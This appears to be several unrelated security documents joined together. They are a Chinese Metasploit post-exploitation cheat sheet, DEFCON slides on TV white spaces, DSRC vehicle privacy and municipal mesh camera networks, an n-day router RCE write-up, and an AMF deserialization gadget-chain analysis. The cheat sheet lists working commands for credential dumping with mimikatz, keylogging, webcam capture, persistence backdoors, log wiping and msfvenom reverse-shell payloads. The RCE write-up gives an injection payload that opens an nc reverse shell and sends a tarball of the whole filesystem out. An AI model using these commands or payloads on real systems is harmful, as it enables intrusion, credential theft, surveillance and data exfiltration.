利用假冒身份执行命令 execute -f cmd.exe -i –t
或者直接shell即可
返回原始权限 rev2self
提权相关
加载特权提升扩展模块 use priv
获取更多的特权 getprivs
查看补丁信息 run post/windows/gather/enum_patches
可利用exp提权检测 use post/multi/recon/local_exploit_suggester
系统服务权限配置错误 use exploit/windows/local/service_permissions
注册表键配置错误提取 use exploit/windows/local/always_install_elevated
可信任服务路径 use exploit/windows/local/trusted_service_path
bypassuac
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
键盘鼠标设置
禁用鼠标 uictl disable mouse
禁用键盘 uictl disable keyboard
启用鼠标 uictl enable mouse
启用键盘 uictl enable keyboard
键盘记录
#开始键盘记录
keyscan_start
#导出记录数据
keyscan_dump
#结束键盘记录
keyscan_stop
信息搜集
查看当前目录 pwd getwd
查看目标主机信息 sysinfo
检查目标机器闲置时间 idletime
获取代理信息
getproxy
查看目标主机是否运行在虚拟机上
run checkvm run post/windows/gather/checkvm
获取主机安装软件、补丁
run post/windows/gather/enum_applications
获取目标主机环境变量
run post/multi/gather/env
获取IE缓存
run post/windows/gather/enum_ie
获取Chrome缓存
run post/windows/gather/enum_chrome
获取Firefox缓存
run post/windows/gather/enum_firefox
列举当前登录的用户
run post/windows/gather/enum_logged_on_users
查找域控
run post/windows/gather/enum_domain
Windows凭证搜索
run post/windows/gather/enum_unattend
获取办公文档
run post/windows/gather/dumplinks
获取目标常见信息并保存到本地 run scraper
屏幕截图
screenshot
密码获取
抓取自动登录的用户名和密码
run post/windows/gather/credentials/windows_autologin
hashdump
run post/windows/gather/smart_hashdump
mimikatz
老版
加载 load mimikatz
获取hash值 msv
获取明文 Kerberos
获取系统账户信息 wdigest
新版
加载kiwi模块:
列举系统中的明文密码:
creds_all: #列举所有凭据
creds_kerberos: #列举所有kerberos凭据
creds_msv: #列举所有msv凭据
creds_ssp: #列举所有ssp凭据
creds_tspkg: #列举所有tspkg凭据
creds_wdigest: #列举所有wdigest凭据
dcsync: #通过DCSync检索用户帐户信息
dcsync_ntlm: #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create: #创建黄金票据
kerberos_ticket_list: #列举kerberos票据
kerberos_ticket_purge: #清除kerberos票据
kerberos_ticket_use: #使用kerberos票据
kiwi_cmd: #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam: #dump出lsa的SAM
lsa_dump_secrets: #dump出lsa的密文
password_change: #修改密码
wifi_list: #列出当前用户的wifi配置文件
wifi_list_shared: #列出共享wifi配置文件/编码
kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令:
kiwi_cmd sekurlsa::logonpasswords
load kiwi
creds_all
获取域散列值
#使用psexec_ntdsgrab模块
use auxiliary/admin/smb/psexec_ntdsgrab
set RHOST set SMBDomain
set SMBUser
set SMBPass
#基于meterpreter会话
use windows/gather/credentials/domain_hashdump
set session ID
流量抓取
查看网卡信息
run packetrecorder -L
查看流量
run packetrecorder -i <网卡ID>
端口扫描、主机发现
使用arp发现主机
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
扫描tcp端口
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
防火墙、杀软
关闭杀软 run killav
查看防火墙状态 run getcountermeasure
在shell中使用
netsh firewall show opmode
PowerShell
加载脚本模块
powershell_import /root/Desktop/HostRecon.ps1
执行加载的脚本
powershell_execute Invoke-HostRecon
Hash传递
use exploit/windows/smb/psexec
摄像头、屏幕
查看摄像头信息 webcam_list
使用摄像头拍照 webcam_snap
屏幕监视 run vnc
开启远程桌面
开启远程桌面
run post/windows/manage/enable_rdp
添加用户
run post/windows/manage/enable_rdp USERNAME=gugugu PASSWORD=Root123456789
将3389端口转发到6662端口
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662
cmdshell升级
查看全部会话 sessions
选择会话1 sessions 1
升级meterpreter sessions -u 会话id
持久化控制后门
run persistence -X -i 50 -p 4444 -r 192.168.1.7
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.109.137
set LPORT 4444
exploit
针对linux平台
目标主机保存的ssh身份验证信息
run post/multi/gather/ssh_creds
擦屁股、清痕迹
删除添加的账号
C:\Windows\system32> net user 添加的用户名 /del
删除日志
clearev
关闭所有session连接
sessions -K
事件日志
查看事件日志
run event_manager -i
清除事件日志
run event_manager -c
msf生成木马教程
生成木马命令: msfvenom
msfcenom详细语法
-e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch < architecture> 指定payload的目标架构
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度
-b, –bad-chars < list> 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 保存payload
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
生成木马语句
二进制
linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
web
php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php |
pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php
asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
脚本
python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
基于pdf的shellcode
use exploit/windows/fileformat/adobe_utilprintf
msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset
PAYLOAD windows/meterpreter/reverse_tcp
其他的就自己填就好了
参考:
https://blog.csdn.net/weixin_46789316/article/details/112135904
https://blog.csdn.net/hackzkaq/article/details/120825347
渗透攻击红队msf系列
pdf在:https://github.com/txluck/MSF_operation_guide
有错的地方 不足的地方请师傅们指出:
https://github.com/txluck/MSF_operation_guide/issues | pdf |
TV White Spaces:
The Next Wi-Fi?
Doug Mohney
Editor-in-Chief
VON Magazine
DEFCON 15, August 2007
Who am I ? 30 second intro
• Contributor to Mobile Radio Technology
(www.mrtmag.com) since January 2003.
• Hearing policy wonks talk about 700 MHz,
unlicensed spectrum in D.C. for years.
• Day job: Editor-in-Chief, VON Magazine
– Feb 2007 Interview, Phil Zimmermann
• http://vonmag.com/editorial/pioneer/philip-
zimmermann-creator-of-pretty-good-privacy-
interview
Unlicensed TV White Spaces
• What is “White Spaces”?
• How did the concept get created?
• Technical proposals - History
• Tech Specifics as of July 31, 2006
• Final Word in October
What is White Spaces?
• “Analog”/NTSC TV uses VHF and UHF
– Today we have TV channels 2-69
– As of Feb 18, 2009, channels 2-51 will be for TV, and
all digital
• (Assuming no last minute political panic)
• In any given geographic area, one can receive
only a handful of stations due to geography,
careful licensing
• 51 channels -handful = LOTS of open unused,
“white spaces” channels
• Each DTV channel = 6 MHz, 27 Mbps broadcast
bandwidth using existing DTV spec
Why is the 700 MHz RF band loved
and coveted by all?
• Propagation characteristics
– Go through walls, obstacles
– In a licensed use mode, one can cover a city with 1 or
2 base stations vs. lots of cells/transmitters in Wi-Fi
and higher frequencies.
• There’s a lot of white spaces space available,
the farther away from cities you go.
– Policy wonks see this as a savior for the “Digital
Divide” in Rural America
FYI: There’s a lot of lurking
LICENSED 700 MHz space
• First auction
– Lot of speculators sitting on it
• Largest Aloha Networks, Vulcan Ventures
• Second auction coming up
– Speculation cable, Google, others may raise
money
– Lot of political in-fighting on how it should be
conducted
• Google pushing for liberalized auction rules
• CTIA (the cell guys) like current model
How did White Spaces created?
• Review of spectrum policy by wonks
– Hey, there’s all this bandwidth…
• New America Foundation (www.newamerica.net)
• Success of Wi-Fi
• Demand for more unlicensed bandwidth
– FCC, Congress both recognize needs
• Cognitive/smart radio
– Enabling technology to “look”
– DARPA has done work on cognitive radio
The Recent History of White
Spaces Maneuvers
• FCC Notice – May 04
• It won’t be Part 15 (WiFi)
• First round of comments
– “White Spaces” Alliance
– Motorola
– Association for Maximum Service Television
• FCC addresses comments July 2007
– (Not before DEFCON materials deadline )
FCC Notice of Proposed
Rulemaking
• Released on May 13, 2004.
• Written in part by Ed Thomas, FCC, Office of
Engineering and Technology
• Statement to open up white spaces channels,
solicited comments
• Suggested approaches to avoid interference
– “Guard signal” to indicate open freqs
– Geolocation (Where am I? Look at database)
– Spectrum sensing (Sense before send)
NAB (of course) not happy
• Response by Association for Maximum
Television
• Generated worst-case scenarios for white space
– 154 pages in initial response
• Tried to convince FCC that it would Never Work.
White Spaces Devices won’t be
Part 15 (Wi-Fi)
• Part 15
– Up to 1 watt power
– Must take interference
– Not cause interference
• Comments from White Spaces Alliance, Moto
indicate Part 15 not workable.
• Typical White Spaces Device
– Under 1 watt (To avoid interference)
– Need a cognitive/smart radio
• “Look before broadcast” and/or geolocation
Cognitive/smart radio
• Smart radio should be able to:
– Sense environment
– Avoid broadcasting on channels in use
• TV most obvious, also some first responders, and licensed
wireless microphones.
– Find the unused bandwidth
– Adjust power accordingly
– Sounds like Electronic Warfare, without the War…
– Can be used for TV white spaces (700 MHz), other
bands
“White Spaces” Alliance comments
• Dell, Google, HP, Intel, Microsoft, Philips
– Contributor – Edmond J. Thomas
• Block off channels 2-20 (and 37)
– Avoid interference with existing licensed users (LMR)
– Reserve lower end for potential public safety white
spaces use
• Geolocation too cumbersome
• Doesn’t even talk about “guard” channel
• Spectrum sensing “smart” radio only way to go.
• “And here’s a toy Microsoft built…”
The Toy That Microsoft Built
The Toy That Microsoft Built
• “Microsoft TV White Spaces Development
Platform Version 1”
• (Ignorant) Press made it sound like a
finished consumer device
• Prototyping platform to “explore, develop
and evaluate technologies required to
create a commercially viable cognitive
radio-based communications network
product”
Why White Spaces gave FCC the
Device
• Enable FCC test division to work with
spectrum scanning, gain confidence
– Test sensitivity of process
– Turn knobs up (more power) and down (less
power)
– Test interference with existing devices
– Test waveforms to ID DTV, NTSC, wireless
mics
Functions of MS-TV-WS-DP-V1
• Enable developers to:
– Create spectrum scanning and signal recognition
software & hardware used to co-exist and avoid
interfering with incumbent (TV) operators
– Develop & refine transmit power control algorithms
– Explore & test waveforms & modulation techniques
– Perform on-air propagation & coverage
measurements
• VERY important in FCC test lab environment
Under the hood of MS…DP-V1
• Two system assemblies
– Windows-based PC using IE browser as
interface
– Three boxes containing wide-band spectrum
scanner and network processor and a tunable
UHF half-duplex transceiver controlled by the
network processor
MS…DP-V1 : How it works
• Spectrum scanner goes through UHF 21-
51, does 2048 FFT
• Signature feature templates for DTV and
NTSC applied to FFT
• Non-occupied channels are declared
potential white space, scanned for narrow-
band incumbents such as wireless mics.
• Display scanner control and discovery info
using (whatelse?) MS IE.
Motorola comments
• Much more conservative approach
– Block off 2-21, also throw in two other channels for
public safety use
• Geolocation initially used, with spectrum sensing
maybe later
• Spectrum sensing deemed too “immature”
– Hmm, compared to…?
• No discussion on guard band
• In interview, reluctant to talk about potential
demo device/prototype lurking about
New America Comments
• Want all TV white spaces, no technical
excuse not to grab ‘em
• Whitespaces Coalition
– Picked block of 2-20 because they didn’t want
big antennas (Mobile device use)
• Motorola
– Business model geared to fixed broadband,
so geolocation works better; i.e. dealer
installed Canopy-type devices
FCC addresses comments in July
2007
• Not announced as of July 6, 2007
• This slide to be updated for DEFCON
presentation
What is expected to be finalized
• Technical specifications
• Final Report and Order Issued in October
2007
Real World Implementation by
???
• Consumer electronics vendors hot to go
• Intel, Philips always needs to sell more chips,
devices
• Google wants Yet Another Way Around The
Man (In this case, Telcos & Cable)
• Software is relatively straight-forward
– After all, Microsoft did it with one engineer and IE…
– Maybe by late 2008 or early 2008, if we don’t get into
“standards”
• 802.11n still isn’t finalized | pdf |
Privacy in DSRC connected
vehicles
Defcon 21 – August 3, 2013
whoami
• BSEE, digital communications
• Many years as a network engineer
• Santa Clara University Law student
• Research assistant providing technical expertise
on privacy audits and reviews
• Contracted by auto consortium to review
privacy of proposed vehicle to vehicle safety
network
Standard Disclaimer
IANAL (Yet)
Non-Standard
Disclaimer
A current NDA covers some of my work here (but not very much)
The focus will be on published information and standards.
What is This Project?
• DSRC: Dedicated Short Range
Communications
• (Where “short” == 380m)
• Multi-channel protocol
(only considering safety channel operation)
• Vehicle to Vehicle
• Vehicle to infrastructure
- Not having to wait for a light on an empty
street again.
Will it Maintain Privacy?
• Probably not, but it could
• Developed for functionality
• Few, small, general privacy and security
reviews
• More PR on giving up privacy
Why is It being Developed?
• Safety
Photo: Jason Edward Scott Bain
How the safety features work
Photo: US Dept. of Transportation
Non-trivial Impact on
Auto Deaths
• World Health
Organization estimates
25% of vehicle deaths each
year can be prevented.
• Fatigue and distracted
driving accidents reduced.
• Blind Corners, fog and
limited visibility accidents
reduced.
Photo: Public Domain
Will This really Happen?
IT ALREADY IS
How Soon?
• Large Scale function tests complete
• Hardware is already being shipped.
• National Transportation Safety Board said
to mandate this last week.
• Has already deployed in trucks in Europe
What is DSRC
• Basic safety messages sent out
every 1/10 seconds.
• All message carry a standard
glob: values for pre-defined
vehicle trajectory and
operational data.
• Cars process data and warn
driver.
• Equipment integrated into
vehicle
Photo: US Dept. of Transportation
AfterMarket Installation
• A little cumbersome
Photo: NIST
What DSRC is not
• CANbus
• OnStar (or any other
remote service)
• (Direct) support for
autonomous driving
mechanisms.
Photo: US Dept. of Transportation
Technical details
Radio protocol
• 5.9GHz reserved in US and Europe
• Signaling standard: IEEE 802.11p /
1609.4 / 1609.3
• Channels reserved for specific
functions
• Protocol does not require source
address for vehicles
• Recommendations include using
certificates
• Privacy challenges at each layer
Photo: NASA
Basic Safety Message
• Standard: SAE J2735
• ~50 fixed data elements
• “only” interface to radio
(on this channel/band)
Parameters for
effectiveness
• Density
• Benefit derived from other vehicles’ use
• Greater usage means greater effectiveness
• Confidence
• Most messages must be trustworthy
• People must trust information broadcast
Validity?
• All messages are
cryptographically signed
• Signing certificates
issued by central
authority
• Issued based on system
fingerprint
• Revocation for
“malfunctioning”
equipment
• System should invalidate
itself if internal checks
Image source: US Dept. of Transportation
Certificates
• Limited time use to prevent tracking
• Reused?
• Periodically refreshed (and malefactors
reported)
• How often?
• Permanent blacklist
Privacy?
MAC Layer
• Changeable source (for vehicles) / no
destination
• Unrouteable! (mostly)
• No significant privacy concern as is.
• Any algorithm to make network routeable
will make vehicles trackable.
BSM
• “Temporary” ID could become persistent with bad
app
• Open source apps suggested for processing and
acting on message data
Certificates
• Identity/Validity conflict
• Solution: constantly changing certificates
• Revocation by fingerprint
• Issuing authority?
Fingerprints
• “No” correspondence
between fingerprint and
car
• “hard coded” into device
• If “revoked”, entire unit
must be replaced
Photo Credit: NIST
Certificate Delivery
• Haven’t figured out how
certificates are delivered to
vehicle
• Proposals include cellular,
wifi, infrastructure links
• So many opportunities for
failure
Worrisome Noise
• Manufacturers want to use this system for
commercial apps
• Advertising and other “funding” schemes to pay for
CA
• Fixed infrastructure potentially operated by data
brokers
Problem: Law
Enforcement
• What can they do with this?
• Correlate location, speed to
independent identification?
(cameras?)
Photo Credit: Alex E. Proimos
What you Can Do
• Hack the radios
•
Commercially available now
• Hack the protocols
• Dataset available at www.its-rde.net
• Become politically engaged
• Most decisions are not being made by elected officials
• Help find a way to fund the infrastructure without
selling out!
Thank you
Acknowledgements
• Professor Dorothy Glancy, who requested
my help on this project
• DC 650 (especially Charles Blas) who gave
me a reality check with current security
and privacy capabilities
Contact
• Christie Dudley
• @longobord
• [email protected] | pdf |
0x00
zacnday
ndaygetshellgetshell
0x01 getshell
nday
stampcookie
stamp
cookiecookie
rce
ping
ping
target
1. whoamiping
2. pwdping
3. bashshshell
shell
{"method":"ping","params":{"count":"1","size":"256","target":"`mknod backpipe p
&& nc xxxx 9999 0<backpipe | /bin/sh 1>backpipe
`www.guahao.com","noParse":true}}
shellnc
nc
tar czvf bak.tar.gz /
nc xxxx 9999 < bak.tar.gz
nc -l 9999 > bak.tar.gz
0x02 nday
webweb
apivscodeapi
rom/usr/lib/lua/luci
stamp
1. "stamp"
2. rom/usr/lib/lua/lucilua
dispatcher.luastamp
stamp
timegetMd5
getMd5""
md5auth"""special"
lua""
nil
0x03
sw
binwalkbinwalk
pwnbinwalkswpwn
swpwndockerpwn
binwalk
gz
rootfs.ubiubiubiread
ubireader_extract_files rootfs.ubi
warn
ubifs-root
fofa
url
urlinit.lua
weburl/web
gz
web/web/init.lua
controlleraction
/web/init.lua/unauthenticate.unauthenticate/checkNat
controllerunauthenticate.unauthenticateactioncheckNat
controllerrouters
url /web/init.lua/ac.acpermission.admin_apManage/addAuthAp
500
init.lua
page.beforeAction
page.beforeActionunauthenticate.unauthenticatecontroller
controller
action
rce
0x04
rcephplua
nwlua
LUA WEB APPLICATION SECURITY VULNERABILITIES
Lua Code: Security Overview and Practical Approaches to Static Analysis | pdf |
What
the
Watchers
See
Weaknesses
in
Municipal
Mesh
Network
Deployments
Dus8n
Hoffman
&
Thomas
(TK)
Kinsey
DEF
CON
22
Dus8n
Hoffman
the
researcher,
not
the
actor
:’(
• Senior
Engineer
@
Exigent
Systems
• Principal
@
various
other
concerns
Thomas
(TK)
Kinsey
• Senior
Engineer
@
Exigent
Systems
• Principal
@
3Kappa
Research
What
The
Watchers
See
How
it
started
…
open
wifi
network(s)
available
What
The
Watchers
See
The
Transparent
Society
by
David
Brin
hRp://archive.wired.com/wired/archive/4.12/Wransparent_pr.html
What
The
Watchers
See
Why
are
municipali8es
deploying
these
networks?
City
services:
police,
traffic,
2-‐way
audio,
site
monitoring,
force
mul8plier,
shrinking
budgets
:(
What
The
Watchers
See
Network
implementa8on
Wireless
mesh
Mo8va8ons:
lower
cost,
shorten
install
8me,
no
trenching,
permi]ng
What
The
Watchers
See
Project
/
Integra8on
Vendors
E.g.,
LeverageIS
hRp://www.leverageis.com/
What
The
Watchers
See
What
The
Watchers
See
Implementa8on
Hardware
Common
off-‐the-‐shelf
hardware
e.g.
Fire8de/UNICOM,
Bosh
cameras,
DVR/NVRs
What
The
Watchers
See
Our
Lab
What
The
Watchers
See
What
The
Watchers
See
Fire8de
specific
info:
filesystem
reverse
engineering
etc.
What
The
Watchers
See
Implementa8on
Protocols
802.11
2.4Ghz,
5Ghz,
&
900Mhz
Mesh:
Open
standards
vs
AutoMesh
Interes8ngly,
2.4Ghz
is
in
use,
not
men8oned
hRp://www.cityofredlands.org/sites/default/files/Purchasing/Public
%20Safety%20Camera%20System%20Admin%202014%20RFP
%205.5.14.pdf
What
The
Watchers
See
Mesh
in
general:
•
Mul8ple
wireless
paths
•
Nodes
aren’t
guaranteed
a
reliable
connec8on
to
the
backhaul
•
Protocol
provides
node
IDs,
mesh
health
info,
etc.
What
The
Watchers
See
Wired
Mesh
What
The
Watchers
See
Mesh
in
Our
Specific
Case
hRp://www.cityofredlands.org/sites/default/files/Purchasing/Public%20Safety%20Camera%20System%20Admin%202014%20RFP%205.5.14.pdf
What
The
Watchers
See
AutoMesh
Specifics
• Proprietary
&
details
not
published
• 19
patents
to
date
What
The
Watchers
See
AutoMesh
Specifics
External
headers
look
normal
What
The
Watchers
See
AutoMesh
Specifics
Header
part
1
of
2
What
The
Watchers
See
AutoMesh
Specifics
Header
part
1
of
2
(broadcast)
What
The
Watchers
See
AutoMesh
Specifics
Header
part
2
of
2
(broadcast
again)
What
The
Watchers
See
AutoMesh
Specifics
Enclosed
header
looks
normal
This
one’s
a
CDP
packet.
What
The
Watchers
See
Specific
case
hRps://mapsengine.google.com/map/edit?mid=zLPNQqdIZ4w4.klDGLs4MNr3w
Open
before,
now
with
WEP!!
What
The
Watchers
See
Specific
case
hRp://www.cityofredlands.org/sites/default/files/Purchasing/Public%20Safety%20Camera%20System%20Admin%202014%20RFP%205.5.14.pdf
hRp://www.cityofredlands.org/sites/default/files/pdfs/Under_the_Watchful_Eye.pdf
hRp://www.cityofredlands.org/sites/default/files/pdfs/Video_surveillance_guidelines.pdf
hRp://www.leverageis.com/pdfs/Yucaipa%20to%20install%20city-‐wide.pdf
What
The
Watchers
See
What
The
Watchers
See
What
The
Watchers
See
What
The
Watchers
See
What
The
Watchers
See
What
The
Watchers
See
What
The
Watchers
See
This
sign
makes
it
all
OK….
What
The
Watchers
See
Security
• Access
to
transmission
medium
• node
authen8ca8on
(bank
calling/GSM)
• link
encryp8on
What
The
Watchers
See
Security
• Direc8on
antennae
to
“secure”
medium
What
The
Watchers
See
Security
•
Content
encryp8on
•
Node
authen8ca8on
via
PKI,
not
turned
on
•
AutoMesh
as
security
/
obscura8on
What
The
Watchers
See
Security
•
Sloppy
integrators
•
No
in-‐house
exper8se
or
on-‐going
tes8ng
/
pen-‐tes8ng,
‘cuz
$$$
What
The
Watchers
See
Poten8al
Threats
•
!!
Federal
&
State
wiretapping
laws,
or
more,
may
be
applicable
in
your
research.
Please
contact
a
legal
professional
•
IANAL
•
info@eff.org
What
The
Watchers
See
Poten8al
Threats
• Observing
video
streams
• Mul8cast:
subscribe
yourself
to
arbitrary
feeds
What
The
Watchers
See
Poten8al
Threats
Denial
of
service
via:
•
flood
•
crude
jamming
•
oversubscribe
What
The
Watchers
See
Poten8al
Threats
• ARP
spoof:
become
a
node
or
the
NVR/DVR
…
so
dirty.
What
The
Watchers
See
Poten8al
Threats
Or
easier:
• Join
the
mesh
“legi8mately”
• There
are
only
256
“mesh
IDs”
…
so
dir8er.
What
The
Watchers
See
Poten8al
Threats
• Access
to
internal
municipal
network
/
PD
What
The
Watchers
See
Poten8al
Threats
•
Video
manipula8on/injec8on
“all’s
well”
What
The
Watchers
See
Poten8al
Threats
• UDP
increment
aRack
What
The
Watchers
See
UDP
increment
aRack
(1)
What
The
Watchers
See
UDP
increment
aRack
(2)
DC22
ORIGINAL
ILLUS
0`
What
The
Watchers
See
UDP
increment
aRack
(3)
DC22
ORIGINAL
ILLUS
0`
What
The
Watchers
See
UDP
increment
aRack
(4)
DC22
ORIGINAL
ILLUS
0`
What
The
Watchers
See
Poten8al
Threats
• Non-‐video
manipula8on:
infrared
tripwires
&
area
sensors
to
direct
police
resource
or
draw
aRen8on
What
The
Watchers
See
Privacy
Abuse
&
Misuse
• Long-‐term
Archival
• General
shenanigans
(VZ
tech,
NSA
20
yr
olds)
What
The
Watchers
See
Demo
is
Sad
‘cuz
WEP
L
What
The
Watchers
See
THANK
YOU! | pdf |
安服崽笔记_flex-messaging-core-4.7.2.jar AMF 反序列化
AMF 反序列化常用的利用链有 MetaDataEntry、ReplicatedTree 和 UnicastRef 等等
Externalizable 实现类
本次主要记录 MetaDataEntry 利用链
文章写的异常垃圾、凌乱,跟着代码看文章可能会好一些,
代码里很多父类引用指向子类对象的地方,我都有说明为什么会调用某个实现类的方法。
Src 目录下 Test.java,可以辅助了解 amf 协议格式。
靶场地址:https://github.com/jiashaoxiong1998/amfDemo
导入 idea,配置个 tomcat,应该就可以执行
或者直接 mvn -package 打成 war 包,扔 tomcat 里就行
组件介绍:
AMF(Action Message Format)是 Flash 与服务端通信的一种常见的二进制编码模式,AMF 是
Adobe 独家开发的数据封装格式,Flash 可以直接访问,由于它是基于二进制的数据传输,
所以相对于 xml SOAP、json、webService 等基于字符串的数据格式,有数据体积小和效率
高的特点。AMF 目前有 AMF0 和 AMF3 两种格式,flash8 以前版本只支持 AMF0,flash9 支
持两种格式。AMF3 比 AMF0 效率更高。
java 语言编写的网站,前端使用 flash 时,或部分功能需要前端 flash 和后端有数据交互时,
有很大概率会存在 AMF3 反序列化漏洞。
代码层面特征
使用小于等于 flex-messaging-core-4.7.2.jar 组件搭建 AMF 协议通信的 flex 应用,一般都会
有如下特征:
1:存在 flex-messaging-core 小于 4.7.3 版本依赖:
2:定义 class 为:flex.messaging.MessageBrokerServlet 的 servlet
例如下图配置:
3:通过配置文件,或代码中动态添加 amf 的 channels 请求端点:
例如下图配置:配置了/test/amf 的 channels,
漏洞代码分析
AMF 协议部分:
根据 web.xml 中 MessageBrokerServlet 配置,查看 servlet 代码:
flex/messaging/MessageBrokerServlet.java
重点关注源码中 service 方法,主要关注以下部分:
1:306 行将 request 对象存到 threadLocal 中
2:346 行,根据 servletPath 获取 endpoint,
getServletPath 方法:当请求 url 为:127.0.0.1/dou/xiang/niu/pi 时
getServletPath 方法获取到的值为/niu/pi,根据此路径去寻找对应 amf 的请求端点
3:373 行调用根据 servletPath 找到的 endpoint 对象的 service 方法,此方法触发漏洞
EndPoint 是接口类型,有很多实现类,靶场中定义的实现类是 BaseHTTPEndpoint,因为:
Web.xml 中指定配置文件参数 services.configuration.file 参数为 services-config.xml,
services-config.xml 中 endpoint 标签配置的 url 为:
http://{server.name}:{server.port}/{context.root}/test/amf
class 为 flex.messaging.endpoints.AMFEndpoint,
AMFEndpoint 类继承 BasePollingHTTPEndpoint 类,
BasePollingHTTPEndpoint 继承 BaseHTTPEndpoint 类,
(这不是主要执行流程,不贴图了,就为了明白为什么会调用 BaseHTTPEndpoint 类的 service
方法)
BaseHTTPEndpoint 类的 service 方法,调用 filterChain 对象的 invoke 方法
从 BaseHTTPEndpoint 类的 start 方法中看到,filterChain 对象是通过调用 createFilterChain
方法进行初始化,
BaseHTTPEndpoint 类中的 createFilterChain 为抽象方法,
通过查看子类 AMFEndpoint 类中的 createFilterChain 实现方法,可以确定 filterChain.invoke
方法首先会调用 SerializationFilter 的 invoke 方法(这不是主要执行流程,不贴图了,就为了
明白为什么会进入到 SerializationFilter 的 invoke 方法)
SerializationFilter 的 invoke 方法比较长,主要关注 121/124/125 行,创建 MessageDeserializer
类对象,从 threadLocal 中取出 request 对象,获取到 request 对象的输入流
SerializationFilter 类中 invoke 方法第 147/169 行位置,
使用请求输入流初始化 deserializer 对象,并调用了 readMessage 方法
deserialize 对象在 flex/messaging/endpoints/amf/SerializationFilter.java 文件中 121 行位置
定义,
MessageDeserializer 是接口类型,默认会使用 AmfMessageDeserializer 类:
通过上图可以看到,实际调用的是 flex/messaging/io/amf/AmfMessageDeserializer.java 类的
readMessage 方法
其中的 amfIn,就是上图使用 request.getInputStream 请求输入流进行初始化的。
方法中调用了三次 readUnsignedShort 方法,分别读取了 version、headersCount 和
bodyCount
漏洞触发点在 readBody 方法
flex/messaging/io/amf/AmfMessageDeserializer.java 文件中 156 行,定义 readBody 方法:
方法中调用了 DataInputStream 的两次 readUTF 和一次 readInt 方法,读取了 targetUri、
responseUri 和一个 int 偏移
在 173 行位置,调用了当前类的 readObject 方法
197 行位置,定义 readObject 方法,方法中再次调用了 AmfIn 对象的 readObject 方法
amfIn 对象又是接口类型,
在上文中提到过,SerializationFilter 类中 147 行调用了 initialize 方法,
代码长这样:deserializer.initialize(sc, in, debugTrace);
在 initialize 方法中,初始化 amfIn 为 Amf0Input 类型
所以 amfIn 对象的 readObject 方法会调用 Amf0Input 的 readObject:
flex/messaging/io/amf/Amf0Input.java 类的中 89 行位置定义 readObject 方法
方法中读取 1 字节数据,传递到当前类的 readObjectValue 方法中,
当前类 97 行定义 readObjectValue 方法,方法中进行 switch 判断,当读取的 1 字节数据等
于 17 时,将会使用 flex/messaging/io/amf/Amf3Input.java 类再次包裹输入流,并调用
readObject 方法
flex/messaging/io/amf/Amf3Input.java 中 129 行,定义 readObject 方法,
方法中再次读取 1 字节,
进行 switch 判断,当该字节值为 10,调用当前类的 readScriptObject 方法
当前类 732 行定义 readScriptObject 方法,
方法中首先调用当前类的 readUInt29 方法:读取 1 字节无符号整数,小于 128 直接 return,
保存在 ref 变量中。
739 行位置,ref 变量被传递到当前类 readTraits 方法中,
readTraits 方法再次对 ref 按位与 3 进行判断(没看懂),按位与 3 结果不为 1 时,对 ref 值
进行处理,
boolean externalizable = ((ref & 4) == 4);
boolean dynamic = ((ref & 8) == 8);
int count = (ref >> 4); /* uint29 */
接下来调用 readString 方法,读取类名,先读取 1 个字节的无符号整数,表示类名长度,后
续调用 readUTF 方法读取指定长度的内容。
746 行位置,createObjectInstance 方法,根据读取到的类名,返回该类对象
757 行调用 readExternalizable 方法,触发漏洞
flex/messaging/io/amf/Amf3Input.java 文件中 819 行,定义 readExternalizable 方法,方法
中调用利用链类的 readExternal 方法,触发反序列化漏洞,到此 AMF 执行流程就算走完,
剩下的就是利用链部分
MetaDataEntry 利用链部分:
MetaDataEntry 利用链位于 axis2-kernel.jar 中,靶场中使用最新 1.8.0 版本;
MetaDataEntry 类实现 Externalizable 接口,并重写了 readExternal 方法;
方法中首先使用 SafeObjectOutputStream 包裹输入流;
接下来从流中读取 8 字节和 4 字节,当做序列化 ID 和修订版本:
硬编码的序列化 ID:8978361069526299875L
硬编码的修订版本:2
验证通过后,319 行位置,调用了 SafeObjectOutputStream 类的 readObject 方法
SafeObjectOutputStream 类中 readObject 方法,调用当前类的 readObjectOverride 方法
SafeObjectOutputStream 中 317 行,定义 readObjectOverride 方法,
方法中读取两个布尔类型数据,共读取 2 字节
通过指定第一个布尔值为 true,第二个布尔值为 false,让代码进入到框起来的部分,触发
java 反序列化漏洞,流中后续只要放 java 反序列化对象即可。
